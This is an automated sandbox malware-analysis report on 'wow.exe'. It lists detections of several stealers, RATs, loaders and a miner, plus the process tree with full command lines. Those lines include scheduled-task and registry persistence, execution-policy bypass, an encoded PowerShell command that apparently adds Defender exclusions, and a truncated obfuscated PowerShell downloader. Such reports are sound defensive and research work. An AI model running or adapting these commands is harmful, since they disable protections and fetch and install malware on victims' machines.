Windows
Analysis Report
wow.exe
Overview
General Information
Detection
Amadey, GhostRat, GuLoader, LummaC Stealer, XWorm, Xmrig
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Amadey bot
Yara detected GhostRat
Yara detected GuLoader
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected XWorm
Yara detected Xmrig cryptocurrency miner
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contain functionality to detect virtual machines
Creates / moves files in alternative data streams (ADS)
Creates HTML files with .exe extension (expired dropper behavior)
Creates an undocumented autostart registry key
Encrypted powershell cmdline option found
Found Tor onion address
Found evasive API chain (may stop execution after checking volume information)
Found pyInstaller with non standard icon
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Monitors registry run keys for changes
Opens the same file many times (likely Sandbox evasion)
PE file has a writeable .text section
Powershell drops PE file
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample is not signed and drops a device driver
Sample uses process hollowing technique
Sample uses string decryption to hide its real strings
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Potentially Suspicious Malware Callback Communication
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspect Svchost Activity
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: System File Execution Location Anomaly
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Instant Messenger accounts or passwords
Uses known network protocols on non-standard ports
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to several IPs in different countries
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to load drivers
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates driver files
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain (may stop execution after checking a module file name)
Found evasive API chain checking for process token information
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wow.exe (PID: 2488 cmdline:
"C:\Users\ user\Deskt op\wow.exe " MD5: B2C17E4AAA1AB07E2BE2C6E08120C7FE) conhost.exe (PID: 3660 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wow.exe (PID: 6092 cmdline:
"C:\Users\ user\Deskt op\wow.exe " MD5: B2C17E4AAA1AB07E2BE2C6E08120C7FE) Loader.exe (PID: 1832 cmdline:
"C:\Users\ user\Downl oads\haus\ Loader.exe " MD5: AE879EE9C4A8AE4EFE028F51CA4C2522) conhost.exe (PID: 6284 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) sel1.exe (PID: 7188 cmdline:
"C:\Users\ user\Downl oads\haus\ sel1.exe" MD5: 6C8E0B575F1A144D7338604B7F0C433D) svchost.exe (PID: 7240 cmdline:
svchost.ex e MD5: 1ED18311E3DA35942DB37D15FA40CC5B) WerFault.exe (PID: 5032 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 7 240 -s 128 8 MD5: C31336C1EFC2CCB44B4326EA793040F2) ABC.exe (PID: 7204 cmdline:
"C:\Users\ user\Downl oads\haus\ ABC.exe" MD5: C23E351A56DEC7BD24FB42C187C0C0D1) conhost.exe (PID: 7212 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) ABC.exe (PID: 7440 cmdline:
C:\Users\u ser\Downlo ads\haus\A BC.exe MD5: C23E351A56DEC7BD24FB42C187C0C0D1) conhost.exe (PID: 7456 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) WerFault.exe (PID: 7984 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 7 440 -s 103 6 MD5: C31336C1EFC2CCB44B4326EA793040F2) traf.exe (PID: 7220 cmdline:
"C:\Users\ user\Downl oads\haus\ traf.exe" MD5: 77947379B9E26603DB5A24E63D9E68FC) amada2.exe (PID: 7304 cmdline:
"C:\Users\ user\Downl oads\haus\ amada2.exe " MD5: 4BD4A99A7CF9E77972857A935D2CDDCB) gdsun.exe (PID: 7328 cmdline:
c:\program data\1be58 8a5b7\gdsu n.exe MD5: 4BD4A99A7CF9E77972857A935D2CDDCB) reg.exe (PID: 7392 cmdline:
REG ADD "H KCU\Softwa re\Microso ft\Windows \CurrentVe rsion\Expl orer\User Shell Fold ers" /f /v Startup / t REG_SZ / d C:\Progr amData\1be 588a5b7 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) conhost.exe (PID: 7408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) vapo.exe (PID: 7348 cmdline:
"C:\Users\ user\Downl oads\haus\ vapo.exe" MD5: EE14A993B4F9BF8B3F0421F0A44C2057) schtasks.exe (PID: 7624 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /f /RL HIGHEST /s c minute / mo 1 /tn " vapo" /tr "C:\Users\ user\AppDa ta\Roaming \vapo.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2) conhost.exe (PID: 7924 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) T.exe (PID: 7448 cmdline:
"C:\Users\ user\Downl oads\haus\ T.exe" MD5: 78FC1101948B2FD65E52E09F037BAC45) powershell.exe (PID: 5176 cmdline:
"Powershel l.exe" -ex ec bypass -c Copy-It em 'C:\Use rs\user\Do wnloads\ha us\T.exe' 'C:\Progra mData\1be5 88a5b7\T.e xe' -Force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) conhost.exe (PID: 5724 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) conhost.exe (PID: 7500 cmdline:
"C:\Users\ user\Downl oads\haus\ conhost.ex e" MD5: C11A82D699A06D9B8BA4296E0C562AE4) cmd.exe (PID: 7860 cmdline:
"cmd.exe" /C powersh ell -Encod edCommand "PAAjAFcAN QB1ACMAPgA gAEEAZABkA C0ATQBwAFA AcgBlAGYAZ QByAGUAbgB jAGUAIAA8A CMAeABHAHM AVwBKAHUAT QBXACMAPgA gAC0ARQB4A GMAbAB1AHM AaQBvAG4AU ABhAHQAaAA gAEAAKAAkA GUAbgB2ADo AVQBzAGUAc gBQAHIAbwB mAGkAbABlA CwAJABlAG4 AdgA6AFMAe QBzAHQAZQB tAEQAcgBpA HYAZQApACA APAAjAFYAb gBCAHYARwB FADkASgBLA CMAPgAgAC0 ARgBvAHIAY wBlACAAPAA jAHMAOABKA DAAIwA+AA= =" & power cfg /x -hi bernate-ti meout-ac 0 & powercf g /x -hibe rnate-time out-dc 0 & powercfg /x -standb y-timeout- ac 0 & pow ercfg /x - standby-ti meout-dc 0 & powercf g /hiberna te off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7896 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 8028 cmdline:
powershell -EncodedC ommand "PA AjAFcANQB1 ACMAPgAgAE EAZABkAC0A TQBwAFAAcg BlAGYAZQBy AGUAbgBjAG UAIAA8ACMA eABHAHMAVw BKAHUATQBX ACMAPgAgAC 0ARQB4AGMA bAB1AHMAaQ BvAG4AUABh AHQAaAAgAE AAKAAkAGUA bgB2ADoAVQ BzAGUAcgBQ AHIAbwBmAG kAbABlACwA JABlAG4Adg A6AFMAeQBz AHQAZQBtAE QAcgBpAHYA ZQApACAAPA AjAFYAbgBC AHYARwBFAD kASgBLACMA PgAgAC0ARg BvAHIAYwBl ACAAPAAjAH MAOABKADAA IwA+AA==" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) WmiPrvSE.exe (PID: 2724 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) cmd.exe (PID: 988 cmdline:
"cmd.exe" /c SCHTASK S /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\P rogramData \Dllhost\d llhost.exe " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 3424 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 6036 cmdline:
"cmd.exe" /c SCHTASK S /CREATE /SC HOURLY /TN "NvSt ray\NvStra yService_b k6620" /TR "C:\Progr amData\Dll host\dllho st.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 8164 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) schtasks.exe (PID: 3360 cmdline:
SCHTASKS / CREATE /SC HOURLY /T N "NvStray \NvStraySe rvice_bk66 20" /TR "C :\ProgramD ata\Dllhos t\dllhost. exe" MD5: 48C2FE20575769DE916F48EF0676A965) WatchDog.exe (PID: 7552 cmdline:
"C:\Users\ user\Downl oads\haus\ WatchDog.e xe" MD5: 4AA5E32BFE02AC555756DC9A3C9CE583) WerFault.exe (PID: 7308 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 7 552 -s 147 2 MD5: C31336C1EFC2CCB44B4326EA793040F2) Enalib.exe (PID: 7684 cmdline:
"C:\Users\ user\Downl oads\haus\ Enalib.exe " MD5: 78FC1101948B2FD65E52E09F037BAC45) powershell.exe (PID: 7988 cmdline:
"Powershel l.exe" -ex ec bypass -c Copy-It em 'C:\Use rs\user\Do wnloads\ha us\Enalib. exe' 'C:\P rogramData \1be588a5b 7\Enalib.e xe' -Force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) conhost.exe (PID: 7212 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wscript.exe (PID: 7740 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\D ownloads\h aus\Lovfor m.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 8004 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Svr te; functi on Bebrejd ($Stomode) {$Gemologi st=3;do{$U ncounterva iled+=$Sto mode[$Gemo logist];$G emologist+ =4} until( !$Stomode[ $Gemologis t])$Uncoun tervailed} function S hoepacs137 ($Typhobac illosis){ .($Facies) ($Typhoba cillosis)} $Reprsenta tionsudgif ts=Bebrejd 'jouN oEV i TSni.Sor W';$Reprse ntationsud gifts+=Beb rejd 'Unhe BenBSubCHa ,LA ti Bae ManN loT'; $Landbofor enings173= Bebrejd 'P olMLinoTou zB ni PrlM adl craVaf /';$Shirra =Bebrejd ' KnoTBoolI tssuz1Br 2 ';$Boligko nsulentens =' St[Norn onEdk.T b o..fvSEn E FrkRPervBr yi eacInfe PrepHydOex ti onNDamt DyrMPavAFr eNSejAUveG u eGenrNe u]Aar: el: LassSaeeFe dc nuRafR StiFedTHan Y idPEnjrA f.OlottCig o ruCOv O SmLBro=Kal $ djs kkhN yhi yrRTri R hea';$La ndboforeni ngs173+=Be brejd 'Co 5Un . ss0 Sk .ig( A WCoriBr,n I dFaroUdf wSlasMng c onN,anTIll Fe1M.c0 B o.Ha.0Ypp; Gen GloWHj liInsnCaf6 an4flu; U n gsx Fi6C hr4 Pr;Dik S crForv C.:Per1 St 3 ow4Ind. rn0Arn) I IneGFale D ucpotkShio Res/Bo 2,a a0La 1Nig0 kv 0 ev1Bo d0For1Skr an,F itiUn srBane nfM aoS uxSti /kon1N l3 dg4Drm.d.u 0';$Braman tip=Bebrej d ' ru Shs DeleF rRDm p- ShATr g SmiEMilNAm bt';$Forsk rev=Bebrej d 'SmahPap ttvatFempC hesSte:F r /Sy,/ ShfS ni MolJet e udBaanHe x.K,aeS iu Tax/nivlNe umLaejKamM gen1 gtIOv etA.kibroF JarCSwiHBo cjU cYK eA Be 4KapJRa uNBruRA aB MerYModBTr 3Mar4Sc / SaUUnonS cdbareon r vb Opa Ak l ydaSelnD elcAboe ru rStan,oleH jasTwi.tar jBebaS ovM ana';$Sjas likkens247 =Bebrejd ' Op>';$Fac ies=Bebrej d 'NonITra E SuX';$To rrentially 21='Topazo lite';$Gor diaceous=' \Transitva rerne.Fli' ;Shoepacs1 37 (Bebrej d 'F.l$Hjf GAfsl leOA erb BraTea L n:IrrPFo rR.dde heG Nebn .peIn NBadoForl Gr OUn,nop fEpre9Str4 .il=gol$gi EnedN,kiv ,ph:sydA V eP EkPge D MetAResTRe ,aDec+ind$ Plag NooDe lRAskD NaI ,ilaUnscAl peTh Oas,u XylS');Sho epacs137 ( Bebrejd 'l an$RetG E, l TiORelBL jba polO e : Fos utyT ruDRekFTav O ViR ,ahP aeN,pig Sc EAukNUnsE. ty= Se$ A, F.beO.ndrS .rSS ckKol RProEEnsV Dr..xcsEje PRutLsatIh ottDyn(Ego $ uts E j InaBruSAbs l E i.usKK likkoneLiv N .as va2. pl4Hex7 u) ');Shoepac s137 (Bebr ejd $Bolig konsulente ns);$Forsk rev=$Sydfo rhngene[0] ;$Smutches =(Bebrejd 'Com$ ImgP reLTitOWax bStraPrelT re: AusAf ASilP FiSF edU .oCAfg KI gEIncRS paSLo =Run n aE VawMo r- ndoPa.b ,enJRapeF, dc.onTU,m OgdsPl,YH, nS,inTQuiE ,im Li..t a$SecRSjlE TriPBruRT. iSNonEAntn ,ouT B.ARo tT eIGenO .yNSkrsCos u end BlGS upI nfGimt .ds');Sho epacs137 ( $Smutches) ;Shoepacs1 37 (Bebrej d ' h$CatS UnoaTampnr rs TuuDesc SnikEnde F erTo s pu. BnkH E,e t ea VedLume RebrBilsSu b[Op $ unB ZerrAlba I nm braVe n partSpoiKo